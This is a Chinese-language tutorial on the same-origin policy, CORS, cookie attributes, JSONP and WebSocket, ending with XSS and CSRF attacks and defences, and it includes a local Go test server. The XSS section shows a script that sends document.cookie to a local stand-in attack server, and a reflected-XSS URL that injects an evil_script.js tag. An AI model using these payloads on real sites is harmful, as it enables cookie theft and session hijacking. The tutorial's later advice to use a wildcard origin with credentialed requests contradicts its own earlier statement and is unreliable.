所有域名的起点都是根域名,它写作一个点.,放在域名的结尾。因为这部分对于所有域名都是相同的,所以就省略不写了,比如example.com
等同于example.com.
(结尾多一个点)。一个域名结尾加一个点,浏览器都可以正常解读(有的域名会屏蔽此方式)。
根域名的下一级是顶级域名,也称为一级域名。它分成两种:通用顶级域名(比如 .com
/ .net
/ .vip
)和国别顶级域名(比如 .cn
和 .us
)。
二级域名就是你在某个顶级域名下面,自己注册的域名。比如,wetv.vip
就是在一级域名.vip
下面注册的。
三级域名是二级域名的子域名,是域名拥有者自行设置的,不用得到许可。比如,barrage.wetvinfo.com
就是 wetvinfo.com
的三级域名。
同源策略(Same Orgin Policy)是一种约定,它是浏览器核心也最基本的安全功能,它会阻止一个域的JS
脚本和另外一个域的内容进行交互,如果缺少了同源策略,浏览器很容易受到XSS、CSFR等攻击(有同源策略,在设置不当时也会受到攻击)。所谓同源(即在同一个域)就是两个页面具有相同的协议(protocol)、主机(host)和端口号(port)。
如果非同源且未使用跨域策略则会有下面的限制:
Cookie
、localStorage
、IndexedDB
DOM
和JS
对象Ajax
请求(可以发送成功[可能被攻击],但浏览器会拒绝接受响应)IE 中的特例
Internet Explorer
的同源策略有两个主要的差异点:
当前页面 url | 被请求页面 url | 是否跨域 | 原因 | 能否携带cookie |
---|---|---|---|---|
http://www.testlocation.com/ | http://www.testlocation.com/ | 否 | 同源(协议、域名、端口号相同) | 能 |
http://www.testlocation.com/ | https://www.testlocation.com/ | 跨域 | 协议不同(http/https) | 能(CORS) |
http://www.testlocation.com/ | http://www.baidu.com/ | 跨域 | 主域名不同(test/baidu) | 不能 |
http://www.testlocation.com/ | http://blog.testlocation.com/ | 跨域 | 子域名不同(www/blog) | 能(CORS) |
http://www.testlocation.com:8080 | http://www.testlocation.com:7001 | 跨域(base浏览器) | 端口号不同(8080/7001) | 能(CORS) |
对于HEAD
,GET
,POST
请求,如果HTTP请求头中只有Accept/Accept-Language/Content-Language/Last-Event-ID/Content-Type
六种类型,且Content-Type只能是下面三个值,则是简单请求:
简单请求会在发送时自动在 HTTP 请求头加上 Origin
字段,来标明当前是哪个源(协议+域名+端口),服务端来决定是否放行。
如果一个请求不是简单请求,则为非简单请求。
非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求(preflight
)。"预检"请求用的请求方法是OPTIONS
,表示这个请求是用来询问的。
预检请求携带的头信息:
Origin
,表示请求来自哪个源。Access-Control-Request-Method
用来列出浏览器的CORS请求会用到哪些HTTP方法Access-Control-Request-Headers
一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段预检请求的响应逻辑将在后续详细描述。
AJAX是Asynchronous JavaScript and XML
的缩写,意思就是用JavaScript
执行异步网络请求。目前JS
有两种异步请求的技术
一种是XHR
,即使用new XMLHttpRequest()
对象进行异步HTTP请求,在浏览器抓包协议中Type
是xhr
。
一种是fetch
,是一个现代的、基于 Promise
的、用于替代 XMLHttpRequest
的方法。在浏览器抓包协议中Type
是fetch
。
Cookie
是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。Cookie
不是一种理想的客户端存储机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端存储建议使用 Web storage API
和 IndexedDB
。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie
里面。Cookie
有下面几个属性:
Expires
Expires
属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()
进行格式转换。
Max-Age
Max-Age
属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365
(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。
如果同时指定了Expires
和Max-Age
,那么Max-Age
的值将优先生效。
Domain
Domain
属性指定 Cookie 属于哪个域名,以后浏览器向服务器发送 HTTP 请求时,通过这个属性判断是否要附带某个 Cookie。如果没有指定 Domain 属性,浏览器会默认将其设为浏览器的当前域名。
Path
Path
属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path
属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。
Secure
Secure
属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure
属性。
HttpOnly
HttpOnly
属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是document.cookie
属性、XMLHttpRequest
对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到。
SameSite
Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite
属性,用来防止 CSRF 攻击和用户追踪。
func main() {
go func() { // 用于测试跨域请求的服务器,端口号和主服务不同
mux := http.NewServeMux()
mux.HandleFunc("/cors_simple_error", CorsSimpleError)
mux.HandleFunc("/btn_cors_simple_success", CorsSimpleSuccess)
mux.HandleFunc("/btn_cors_simple_success_cookie", CorsSimpleSuccessCookie)
mux.HandleFunc("/btn_cors_failed", BtnCorsFailed)
mux.HandleFunc("/btn_cors_success", BtnCorsSuccess)
if err := http.ListenAndServe(":8001", mux); err != nil {
panic(err)
}
}()
// 主服务,返回 index 页面
elog.Debug("http://127.0.0.1:8008/")
fs := http.FileServer(http.Dir("./"))
http.Handle("/", http.StripPrefix("/", fs))
http.HandleFunc("/same_origin", SameOrigin)
http.HandleFunc("/same_origin_cookie", SameOriginCookie)
if err := http.ListenAndServe(":8008", nil); err != nil {
panic(err)
}
}
使用不同端口 http://127.0.0.1:8001 和 http://127.0.0.1:8008 来构造同站跨域请求。可以使用 switchhost 软件重定向一个测试域名到 127.0.0.1 来构造一个跨站跨域请求:
127.0.0.1 cross-site.com
这样我们请求 http://cross-site.com:8001 就相当于 http://127.0.0.1:8001 了。
用JS
脚本构造异步HTTP请求,示例如下:
const log = document.querySelector('.xss-event-log');
document.querySelector("#btn_xss").addEventListener("click", ()=>{
fetch('http://127.0.0.1:8002/xss',{method:"GET",credentials:"include"}).
then(response => {
for(const key of response.headers.keys()) {
log.textContent = `${log.textContent}${key}:${response.headers.get(key)}\n`;
}
response.text().then(d=>{log.textContent = `${log.textContent}body:\n${d}`});
}).
catch( error => {
console.error(`same origin 请求失败:${error}`);
log.textContent = `${log.textContent}same origin 请求失败!状态码:${error}\n`;
});
})
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。它允许浏览器向跨域服务器,发出AJAX请求,从而克服了AJAX只能同源使用的限制。
CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,非简单请求还会多出一次附加的预检请求,但用户不会有感觉。
对于简单请求,浏览器直接发出CORS请求。具体来说,就是在头信息之中,增加一个Origin字段。
origin: https://wetv.vip
服务器需要处理这个头部,并填充回返回头部
access-control-allow-origin: https://wetv.vip
此头部也可填写为*
,表示接受任意域名的请求。如果不返回这个头部,浏览器会抛出跨域错误。(注:服务器端不会报错)
需要注意的是,如果要发送Cookie
,Access-Control-Allow-Origin
就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie
依然遵循同源政策,只有用服务器域名设置的Cookie
才会上传,其他域名(跨站)的Cookie
并不会上传,且原网页代码中的document.cookie
也无法读取服务器域名下的Cookie
。
Access-Control-Allow-Origin
这个头部是必须填写的。
布尔值,默认是false
,表示不允许发送Cookie
,如果需要允许浏览器携带Cookie
则需要设置为true
。此字段可选。
需要注意,如果要携带Cookie
,前端开发者必须在AJAX请求中打开withCredentials
属性(fetch请求则需要设置值为include)。
CORS
请求时,XMLHttpRequest
对象的getResponseHeader()
方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma
。如果想拿到其他字段,就必须在Access-Control-Expose-Headers
里面指定。
比如,需要在头部添加QUA
字段来填充用户信息,则必须在Access-Control-Expose-Headers
里面指定QUA
字段。
此字段可选。
对于非简单请求,浏览器会先自动进行预检,以判断服务器是否允许跨域。
Access-Control-Allow-Origin
同简单请求,必选
Access-Control-Allow-Methods
逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法,必选
Access-Control-Allow-Headers
如果浏览器请求包括Access-Control-Request-Headers
字段,则此字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。
Access-Control-Allow-Credentials
同简单请求
Access-Control-Max-Age
指定本次预检请求的有效期,单位为秒。可以避免频繁的预检请求。
预检通过后,浏览器就正常发起请求和响应,流程和简单请求一致。
JSONP的原理 :利用标签中 src属性可以跨域的特性。
JSONP只支持GET请求,因为本质上加载资源就是GET。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。例:
请求的脚本网址有一个callback
参数(?callback=bar
),用来告诉服务器,客户端的回调函数名称(bar
)。服务器收到请求后,拼接一个字符串,将 JSON 数据放在函数名里面,作为字符串返回(bar({...})
)。客户端只要定义了bar()
函数,就能在该函数体内,拿到服务器返回的 JSON 数据。
WebSocket 是一种通信协议,使用ws://
(非加密)和wss://
(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨域通信。
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
如果是同源网站,cookie在某些浏览器上是自动携带的,有些浏览器则默认不携带。如果要显示携带,则可以在前端设置credentials:"same-origin"
,如果要显示不携带,则可以设置为credentials:"omit"
,后台不需要额外设置。
跨域携带有个前提,即如果一级域名不同,则不能携带 cookie,一级域名下的子域名或端口不同的服务可以携带,且需做如下设置:
简单请求
credentials: 'include'
Access-Control-Allow-Origin=*
非简单请求
前端设置credentials: 'include'
后台设置(预检和正常请求都需要设置)
Access-Control-Allow-Origin={用户发来的Origin头部}
必选
Access-Control-Allow-Methods:GET,PUT,OPTIONS,POST
必选
Access-Control-Allow-Credentials:true
必选
Access-Control-Allow-Headers:Q-UA
可选,根据用户额外传递的 header 设置
XSS 是一种常见的 web 安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。XSS 的攻击目标是为了盗取存储在客户端的 Cookie
或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。
反射型 XSS 攻击发生在当传递给服务器的用户数据被立即返回并在浏览器中原样显示的时候,比如有意制造错误输入,并让服务将错误输入返回。我们可以构造下面一个脚本,并附在请求参数中:
var img=document.createElement('img');
img.src=`http://127.0.0.1:8002/xss?${escape(document.cookie)}`;
console.log(img.src);
document.appendChild(img);
HTML的img src
会自动执行并且不受同源策略限制,此脚本会将页面Cookie取出并发送到攻击服务器上。
用户发送请求:
http://127.0.0.1:8008/same_origin?q=beer<script%20src=http://127.0.0.1:8008/scripts/evil_script.js></script>
如果服务没有检测输入,直接返回,则会导致脚本执行,Cookie被劫持。
恶意脚本存储在站点中,然后再原样地返回给其他用户,在用户不知情的情况下执行。原理和上面的类似,只是数据会被存储在数据库,导致漏洞持久存在。比如贴吧帖子等形式的数据。
防御办法为不能明文返回用户传递来的数据,而是改用错误码形式。并且将重要的Cookie
设置为httponly
,此时脚本将无法读取到此Cookie
。数据库存储的数据需要进行编码或者校验,去除脚本编码数据。对 HTML 来说,这些包括类似 ,
,
,和
的标签。
跨站请求伪造(英语:Cross-site request forgery
),也被称为 one-click attack
或者 session riding
,通常缩写为 CSRF
或者 XSRF
, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
XSS利用的是服务器的漏洞,通过服务器返回数据进行攻击;
CSFR利用请求鉴权的漏洞,伪造请求进行攻击,即使服务器没有XSS漏洞依然可以生效,并且攻击只是利用Cookie并没有获取Cookie,因此HttpOnly也无法预防此类攻击。
同XSS的攻击示例,只需要将脚本内容更换成网站已有API,如转账,增删操作等敏感API,自动携带的Cookie就可以骗过服务器鉴权请求成功。攻击者会用邮件,钓鱼网站等方式诱导用户点击此链接,从而劫持Cookie。
例如用户在A网站登录,被诱导进入B网站,此时就会触发对A网站后台的请求,因为是对A网站的请求,因此会携带Cookie并成功。
Referer
检测
当跨域访问时,浏览器会自动携带 Referer 头部字段,后台可以检测此字段来追踪请求来源。但是此方法只能作为辅助,因为Referer不是一个强制字段,当用户浏览器手动输入时可以不带此头部。
Samesite Cookie
重要的cookie项使用Samesite Cookie值避免跨站携带,有三个值可选分别为Strict、Lax、None:
Strict
完全禁止第三方Cookie,跨站点(一级域名)访问时,任何情况下都不会发送Cookie。换言之,只有当前网页的 URL与请求目标一致,才会带上Cookie。
Lax
Chrome默认模式,对于从第三方站点以link标签,a标签,GET形式的Form提交这三种方式访问目标系统时,会带上目标系统的Cookie,对于其他方式,如 POST形式的Form提交、AJAX形式的GET、img的src访问目标系统时,拿不到Cookie。
None
原始方式,任何情况都提交目标系统的Cookie。
CSRF Token
将一个token放到参数里,因为参数不能自动携带,因此可以避免CSRF攻击,token设置一个过期时间,避免重放攻击。
后台下发模式
前端先到后台申请一个token(存储在本地并设置过期时间),每次请求时将token已参数形式提交回服务器,服务器验证此token有效性。
JWT模式可以用于此方案来避免token存储和验证的中心化问题。
对称加密模式
前后端定义一个加密字段,前端加密,后台解密。
双重Cookie验证
类似于CSRF Token,不过这个token是种植在Cookie中的,后台验证请求时取出Cookie的Token和参数携带Token做对比,相同则放行,不同则拒绝。避免了token验证的问题。但是必须防止XSS漏洞泄露Cookie,否则此方法无效。
SameParty
这是一个处于提案状态的属性,允许属于同一经营主体的域名之间携带Cookie。用来替代Samesite属性,还未大规模使用。
跨域资源共享 CORS 详解
跨域是个什么鬼,你搞明白了吗?
AJAX
HTTP请求的响应头部Vary的理解
fetch请求中的跨域和携带Cookies问题
X-Content-Type-Options
MDN站点安全
Cookies and security
Access-Control-Allow-Credentials
ajax、跨域与安全机制
CSRF攻击原理和防范措施
前端安全系列(二):如何防止CSRF攻击?
根域名的知识
DNS 查询原理详解
[详解 Cookie 新增的 SameParty 属性](